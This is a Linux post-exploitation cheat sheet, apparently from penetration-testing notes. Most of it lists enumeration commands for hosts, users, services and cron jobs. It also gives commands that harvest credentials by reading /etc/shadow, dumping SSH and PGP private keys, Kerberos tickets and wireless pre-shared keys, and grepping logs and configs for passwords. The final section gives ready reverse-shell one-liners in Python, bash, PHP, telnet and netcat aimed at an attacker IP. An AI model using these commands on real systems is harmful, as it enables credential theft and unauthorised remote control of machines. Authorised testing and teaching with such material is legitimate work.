1. System / Network Information Commands

Hostname

```
hostname
hostname -f
```

Known hostnames/IP Addresses

```
cat /etc/hosts
```

Kernel Version / Architecture

```
uname -a
cat /proc/version
```

Operating System

```
cat /etc/issue
cat /etc/*-release
```

List Open Files

```
lsof
```

IP Interfaces Information

```
ifconfig
ip addr show
```

Routing Information

```
route -n
ip ro show
```

Current TCP and UDP Network Connections

```
netstat -auntp
watch ss -twurp
```

Print IPSEC VPN Keys (requires root)

```
ip xfrm state list
```

Iptables Rules (requires root)

```
iptables -L -n
```

ARP Table

```
arp -a
```

DNS Server Information

```
cat /etc/resolv.conf
```

Running Processes

```
ps auxw
ps -ef
```

Mounted File Systems

```
df -h
mount
```

Loaded Kernel Modules

```
lsmod
```

Loaded PCI Devices

```
lspci
```

Loaded USB Devices

```
lsusb
```

CPU Information

```
cat /proc/cpuinfo
```

Memory

```
cat /proc/meminfo
```

Hardware Information

```
lshw
```

Kernel Messages (With Timestamp)

```
dmesg -T
```

2. User Information

Last logged on Users

```
last -a
```

Currently Logged on Users

```
who
w
```

Current User / UID-GID / Home Directory

```
whoami
id
grep $USER /etc/passwd
grep $USER /etc/passwd | cut -f6 -d”:”
```

User and Service Accounts

```
cat /etc/passwd
```

Groups

```
cat /etc/group
```

All Users (UID and GID information)

```
for user in $(cat /etc/passwd |cut -f1 -d":"); do id $user; done
```

All UID 0 Accounts (root)

```
cat /etc/passwd |cut -f1,3,4 -d":" |grep "0:0" |cut -f1 -d":" |awk '{print
$1}'
```

Find Files with “history” In Their Name (.bash_history, etc.)

```
find /* -name *.*history* -print 2> /dev/null
```

Find Files Owned By A Particular User

```
find / -user $user
Ex: find / -user www-data
```

Find Files Owned By A Particular Group

```
find / -group $group
Ex: find / -group sudo
```

Find File Types Owned by a Particular User

```
find / -user admin -name “*.sh”
```

3. Privileged Access / Cleartext Passwords

Find all setuid (SUID) Executables

```
find / -perm -4000 -type f 2>/dev/null
```

Read /etc/sudoers

```
cat /etc/sudoers
```

Read /etc/shadow

```
cat /etc/shadow
```

Find world-writeable files

```
find / -perm -0002 -type d 2>/dev/null
```

Check current users’ sudo access

```
sudo -l
```

Check for binaries in current users’ sudo entry that allow breaking out into a shell

```
sudo -l |grep vi
sudo -l |grep nmap
sudo -l |grep python
sudo -l |grep irb
```

Check permissions for files /root directory

```
ls -als /root/*
```

Check permissions of root’s .bashrc and other dot files/directories

```
ls -als /root/.*
```

Check for access to users’ .ssh directories

```
ls -als /home/*/.ssh
```

Check readability of apache/nginx access log

```
cat /var/log/apache/access.log
cat /var/log/apache2/access.log
cat /var/log/nginx/access.log
```

Search for “user” and “pass” string in Apache Access Log

```
cat /var/log/apache/access.log |grep -E “^user|^pass”
```

Dump Wireless Pre-Shared Keys from NetworkManager Configuration

```
cat /etc/NetworkManager/system-connections/* |grep -E “^id|^psk”
```

Search for “password” string in conf files

```
grep “password” /etc/*.conf 2> /dev/null
```

PGP Keys

```
cat /home/*/.gnupg/secrings.gpgs
```

SSH Keys

```
cat /home/*/.ssh/id*
```

Show any LDAP, Local or NIS Accounts

```
getent passwd
```

Dump Samba user Database Information

```
pdbedit -L -w
pdbedit -L -v
```

Kerberos Tickets

```
cat /tmp/krb*
```

Search for files of .txt extension with “password” in their name

```
find / -name password*.txt 2> /dev/null
```

4. Services / Configuration Files

List Running Services / Processes / Users

```
ps auxw
```

List Inetd Services

```
ls -al /etc/init.d/
```

List xinetd Services

```
ls -al /etc/xinetd.d/
```

Contents of Xinetd services

```
cat /etc/xinetd.d/*
```

Find services in /etc/init.d not owned by root and list their permissions

```
find /etc/init.d/ ! -uid 0 -type f 2>/dev/null |xargs ls -la
```

List Running Services (Debian/CentOS/Redhat/Ubuntu)

```
service --status-all
```

Print the status of a service

```
service nginx status
```

List Known Services (SysV)

```
chkconfig --list
```

Print the status of a service (Debian/CentOS)

```
service nginx status
```

Print status of all services (Debian/CentOS)

```
service --status-all
```

List all Systemd services (Debian/CentOS/Redhat)

```
systemctl list-unit-files
```

Syslog Configuration

```
cat /etc/syslog.conf
```

Samba Configuration

```
cat /etc/samba/smb.conf
```

MySQL Configuration

```
cat /etc/mysql/my.cnf
```

OpenLDAP Configuration

```
cat /etc/openldap/ldap.conf
```

NFS Exports

```
cat /etc/exports
```

Inetd Configuration

```
cat /etc/inetd.conf
```

Rsyslog Configuration

```
cat /etc/rsyslog.conf
cat /etc/rsyslog.d/*
```

Apache2 Configuration

```
cat /etc/apache2/apache2.conf
```

Httpd configuration

```
cat /etc/httpd.conf
```

Find all .conf Files

```
find / -name *.conf 2> /dev/null
```

5. Jobs and Tasks

List Cron Jobs

```
cat /etc/crontab
ls -al /etc/cron*
```

Find World-Writable Cron jobs

```
find /etc/cron* -type f -perm -o+w -exec ls -l {} \;
```

Find Cron Jobs Owned by Other Users

```
find /etc/cron* -user $user
Ex: find /etc/cron* -user admin
```

6. Installed Software Version Information

Get MySQL Version

```
mysql –version
```

Get sudo Version

```
sudo -V |grep “Sudo version”
```

Get Apache2 Version

```
apache2 -v
```

Get CouchDB Version

```
couchdb -V
```

Get Postgres Version

```
psql -V
```

List All Packages Installed and Versions (Debian/CentOS/Ubuntu)

```
dpkg -l
```

List All Packages Installed and Versions (RedHat)

```
rpm –query -all
```

List Installed Packages (Solaris)

```
pkginfo
```

7. Reverse Shells

Python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect(("<attacker_IP>",<attacker_PORT>));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

bash

```
bash -i >& /dev/tcp/<attacker_IP>/<attacker_PORT> 0>&1
```

php

```
php -r ‘$sock=fsockopen(“<attacker_IP>”,<attacker_PORT>); exec(“/bin/sh -I
<&3 >&3 2>&3”);’
```

telnet

```
telnet <attacker_IP> 4444 | /bin/bash | telnet <attacker_IP> 4445
```

netcat

```
nc <attacker_IP> <attacker_PORT> -e /bin/sh
```

netcat w/o “-e” option

```
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -I 2>&1 | nc <attacker_IP>
<attacker_PORT> > /tmp/f
```